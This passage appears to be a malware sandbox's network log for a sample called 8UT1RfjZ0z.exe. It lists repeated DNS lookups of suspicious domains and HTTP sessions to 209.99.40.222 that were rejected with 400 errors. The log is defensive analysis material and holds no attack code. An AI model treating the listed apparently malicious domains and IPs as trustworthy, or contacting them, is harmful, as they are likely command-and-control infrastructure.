Okt 9, 2018 20:12:47.176240921 MESZ	8.8.8.8	192.168.0.42	0xc0f	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:48.295197964 MESZ	8.8.8.8	192.168.0.42	0xd80e	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:48.315797091 MESZ	8.8.8.8	192.168.0.42	0x3eec	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:50.348581076 MESZ	8.8.8.8	192.168.0.42	0x4470	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:51.500694036 MESZ	8.8.8.8	192.168.0.42	0xde3c	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:51.521491051 MESZ	8.8.8.8	192.168.0.42	0x8bfe	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:51.553309917 MESZ	8.8.8.8	192.168.0.42	0x31c2	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:52.679090977 MESZ	8.8.8.8	192.168.0.42	0xf630	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:52.712919950 MESZ	8.8.8.8	192.168.0.42	0x94c2	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:53.698863029 MESZ	8.8.8.8	192.168.0.42	0x2433	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:53.745876074 MESZ	8.8.8.8	192.168.0.42	0x421d	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:54.502145052 MESZ	8.8.8.8	192.168.0.42	0x1e5d	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:55.488305092 MESZ	8.8.8.8	192.168.0.42	0xeb95	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:57.893119097 MESZ	8.8.8.8	192.168.0.42	0xd719	No error (0)	stormsfronts.com	209.99.40.223	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:59.580171108 MESZ	8.8.8.8	192.168.0.42	0x9549	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:59.794677973 MESZ	8.8.8.8	192.168.0.42	0x4bc5	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:01.358428001 MESZ	8.8.8.8	192.168.0.42	0xc11f	No error (0)	stormsfronts.com	209.99.40.223	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:03.146943092 MESZ	8.8.8.8	192.168.0.42	0x11f6	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:04.570408106 MESZ	8.8.8.8	192.168.0.42	0xf497	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:09.626161098 MESZ	8.8.8.8	192.168.0.42	0xb110	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:09.733179092 MESZ	8.8.8.8	192.168.0.42	0xe3c6	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:10.838227987 MESZ	8.8.8.8	192.168.0.42	0x2de8	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:10.857079983 MESZ	8.8.8.8	192.168.0.42	0xad1d	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:11.874124050 MESZ	8.8.8.8	192.168.0.42	0xd26f	No error (0)	stormsfronts.com	209.99.40.223	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:12.567883015 MESZ	8.8.8.8	192.168.0.42	0x3d58	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:15.566448927 MESZ	8.8.8.8	192.168.0.42	0x56ee	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:17.744265079 MESZ	8.8.8.8	192.168.0.42	0x591	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:21.564529896 MESZ	8.8.8.8	192.168.0.42	0xa4b7	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:22.567971945 MESZ	8.8.8.8	192.168.0.42	0xd0df	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:27.627015114 MESZ	8.8.8.8	192.168.0.42	0x9b02	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:27.728491068 MESZ	8.8.8.8	192.168.0.42	0x2ef6	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:28.825922966 MESZ	8.8.8.8	192.168.0.42	0xb3c4	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:28.844968081 MESZ	8.8.8.8	192.168.0.42	0xe9d5	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:29.868890047 MESZ	8.8.8.8	192.168.0.42	0x85b0	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:33.575448036 MESZ	8.8.8.8	192.168.0.42	0x1d67	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:33.765731096 MESZ	8.8.8.8	192.168.0.42	0x7a3a	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:38.727741957 MESZ	8.8.8.8	192.168.0.42	0x21a6	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:39.566477060 MESZ	8.8.8.8	192.168.0.42	0xc53c	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:43.635042906 MESZ	8.8.8.8	192.168.0.42	0xd58e	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:45.569735050 MESZ	8.8.8.8	192.168.0.42	0xed3f	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:48.567945957 MESZ	8.8.8.8	192.168.0.42	0x8309	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:49.696995020 MESZ	8.8.8.8	192.168.0.42	0xe369	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:49.726285934 MESZ	8.8.8.8	192.168.0.42	0x1cdb	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:50.753985882 MESZ	8.8.8.8	192.168.0.42	0xb6e5	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:51.558706999 MESZ	8.8.8.8	192.168.0.42	0xbc19	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:51.859687090 MESZ	8.8.8.8	192.168.0.42	0x6fce	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:56.736028910 MESZ	8.8.8.8	192.168.0.42	0x7d89	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:57.568742990 MESZ	8.8.8.8	192.168.0.42	0x7edb	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:01.604300022 MESZ	8.8.8.8	192.168.0.42	0x9e3e	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:03.669070005 MESZ	8.8.8.8	192.168.0.42	0xd4e	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:06.569650888 MESZ	8.8.8.8	192.168.0.42	0xbe45	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:07.699359894 MESZ	8.8.8.8	192.168.0.42	0xdfc9	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:07.722332001 MESZ	8.8.8.8	192.168.0.42	0xd03f	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:08.754448891 MESZ	8.8.8.8	192.168.0.42	0x14b4	No error (0)	stormsfronts.com	209.99.40.223	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:09.478557110 MESZ	8.8.8.8	192.168.0.42	0x73ff	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:09.567924976 MESZ	8.8.8.8	192.168.0.42	0xb016	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:14.764467955 MESZ	8.8.8.8	192.168.0.42	0x2577	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:15.585374117 MESZ	8.8.8.8	192.168.0.42	0xee00	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:19.625803947 MESZ	8.8.8.8	192.168.0.42	0xcbff	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:21.608515024 MESZ	8.8.8.8	192.168.0.42	0xa9a8	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:24.572144032 MESZ	8.8.8.8	192.168.0.42	0x4e3f	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:25.709646940 MESZ	8.8.8.8	192.168.0.42	0x73c3	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:25.736671925 MESZ	8.8.8.8	192.168.0.42	0xda55	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:26.760890007 MESZ	8.8.8.8	192.168.0.42	0x89d7	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:27.465590000 MESZ	8.8.8.8	192.168.0.42	0x68d2	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:27.573499918 MESZ	8.8.8.8	192.168.0.42	0x63f1	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:32.735811949 MESZ	8.8.8.8	192.168.0.42	0x3ecf	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:33.670056105 MESZ	8.8.8.8	192.168.0.42	0x5b9	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:34.825149059 MESZ	8.8.8.8	192.168.0.42	0xdae5	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:34.842365980 MESZ	8.8.8.8	192.168.0.42	0x5c96	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:36.863627911 MESZ	8.8.8.8	192.168.0.42	0x9386	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:37.571623087 MESZ	8.8.8.8	192.168.0.42	0x2368	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:37.965971947 MESZ	8.8.8.8	192.168.0.42	0xcac8	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:37.985500097 MESZ	8.8.8.8	192.168.0.42	0x630a	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:40.031554937 MESZ	8.8.8.8	192.168.0.42	0xfabe	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:41.172051907 MESZ	8.8.8.8	192.168.0.42	0xd29f	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:41.202510118 MESZ	8.8.8.8	192.168.0.42	0xa28c	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:42.558806896 MESZ	8.8.8.8	192.168.0.42	0x16ec	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:43.216978073 MESZ	8.8.8.8	192.168.0.42	0xc2ea	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:43.674720049 MESZ	8.8.8.8	192.168.0.42	0x5f8a	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:43.697072029 MESZ	8.8.8.8	192.168.0.42	0xc52d	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:44.721482992 MESZ	8.8.8.8	192.168.0.42	0xe8c9	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:45.410410881 MESZ	8.8.8.8	192.168.0.42	0x2b56	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:46.314677000 MESZ	8.8.8.8	192.168.0.42	0x5874	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:47.338335991 MESZ	8.8.8.8	192.168.0.42	0x263f	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:47.346251011 MESZ	8.8.8.8	192.168.0.42	0xa075	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.0.42	49166	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:09:53.428550959 MESZ	3	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd 00 f5 03 0d 7b 7c 03 4d 8a 74 90 ac 63 3b 5b ef 6a 97 a9 b9 a3 26 24 e2 fb 07 be 0f b1 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[{\|Mtc;[j&$935/822stormsfronts.com
Okt 9, 2018 20:09:53.574408054 MESZ	3	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:09:53 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.0.42	49167	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:09:53.734190941 MESZ	4	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 01 93 6a a5 76 01 87 16 51 db 23 1b 99 6f 10 fd 6d c8 cb 04 a5 a2 8c 9c 98 ab 28 80 69 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[jvQ#om(i
Okt 9, 2018 20:09:53.892748117 MESZ	4	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:09:53 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.0.42	49212	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:10:59.776194096 MESZ	23	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 43 f7 37 13 27 ab 5d 89 5c 74 09 a2 ff c9 76 22 fd a0 2e 26 49 6d 7b 68 04 b1 d0 64 95 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[C7']\tv".&Im{hd
Okt 9, 2018 20:10:59.919886112 MESZ	24	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:10:59 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.0.42	49213	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:11:00.069495916 MESZ	24	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd 43 a5 49 a3 14 5a 4f 36 3c 57 0a e3 57 2f a6 c5 63 98 c7 1f e8 4c 13 d3 a9 12 67 ff 65 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[CIZO6<WW/cLge935/822stormsfronts.com
Okt 9, 2018 20:11:00.213454008 MESZ	25	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:11:00 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.0.42	49214	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:11:01.488013029 MESZ	26	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd 45 db 3a 9c 11 a5 cc ad 80 8b 3d b1 dc 10 bd 3b 34 7d a2 ae d1 6b 56 ad e7 69 6f e8 34 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[E:=;4}kVio4935/822stormsfronts.com
Okt 9, 2018 20:11:01.647057056 MESZ	26	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:11:01 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.0.42	49215	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:11:01.795789003 MESZ	27	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 45 b2 1e b4 53 25 c9 00 25 23 1a f6 2e 90 71 b1 d9 7f d4 87 2a 65 7c db 87 d7 5f 23 c8 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[ES%%#.q*e\|_#
Okt 9, 2018 20:11:01.967724085 MESZ	27	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:11:01 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.0.42	49216	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:11:03.220638990 MESZ	28	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 46 cf 15 4d fe c2 a3 e7 00 74 96 e6 fc c1 c9 36 cb 0a 5d 0b 0b af 06 02 cb f3 4a b8 0d 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[FMt6]J
Okt 9, 2018 20:11:03.640047073 MESZ	28	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 46 cf 15 4d fe c2 a3 e7 00 74 96 e6 fc c1 c9 36 cb 0a 5d 0b 0b af 06 02 cb f3 4a b8 0d 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[FMt6]J
Okt 9, 2018 20:11:03.831135035 MESZ	28	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:11:03 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.0.42	49218	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:11:04.018332005 MESZ	29	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd 47 19 04 a1 6f b5 0a d3 22 de b5 34 8d f8 04 24 5b 49 a7 ec 99 f6 8f a7 7f 78 7e c4 7d 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[Go"4$[Ix~}935/822stormsfronts.com
Okt 9, 2018 20:11:04.175661087 MESZ	29	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:11:04 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.0.42	49220	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:11:05.416311979 MESZ	31	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd 48 bd 2d 4f 34 63 bf 11 e4 23 bf c0 6c 01 3e 78 80 72 7f 60 8b 80 3f a6 ac d8 8e 92 6d 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[H-O4c#l>xr`?m935/822stormsfronts.com
Okt 9, 2018 20:11:05.561286926 MESZ	31	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:11:05 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.0.42	49221	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:11:05.709758043 MESZ	32	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 49 4a 97 21 46 03 ca 8b 9e 7c 78 e2 3c eb 71 37 1b b2 e2 6d e7 80 45 a0 c9 3a 93 e2 f0 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[IJ!F\|x<q7mE:
Okt 9, 2018 20:11:05.853827953 MESZ	32	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:11:05 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.0.42	49222	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:11:05.944869041 MESZ	33	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 49 99 fa c4 53 5c 7c 3a c6 a8 ab e2 95 74 30 eb 89 a4 da c2 2c 68 e9 18 90 dd d8 0c b3 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[IS\\|:t0,h
Okt 9, 2018 20:11:06.093333006 MESZ	33	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:11:06 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.0.42	49223	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:11:06.241266966 MESZ	34	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd 49 62 ab 4b 70 1d af f4 ac 44 e6 08 6b 00 08 8e 23 b0 7a f0 c9 fb f2 89 6e 59 a5 5c 95 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[IbKpDk#znY\935/822stormsfronts.com
Okt 9, 2018 20:11:06.387276888 MESZ	34	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:11:06 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.0.42	49177	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:10:11.972969055 MESZ	8	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 13 b5 21 df ed cd c4 2f f2 c4 e9 cf 6b 48 d1 0e 0f 6e 7b 5a 2e 46 34 53 9f 3b e4 36 17 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[!/kHn{Z.F4S;6
Okt 9, 2018 20:10:12.118768930 MESZ	8	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:10:12 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.0.42	49232	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:11:23.978279114 MESZ	37	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd 5b 19 a2 95 e0 16 58 1c 5d c9 22 0e a4 79 32 52 5d 9b e9 d8 96 07 ee 8e 32 25 85 6d 46 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[[X]"y2R]2%mF935/822stormsfronts.com
Okt 9, 2018 20:11:24.121797085 MESZ	38	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:11:24 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.0.42	49233	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
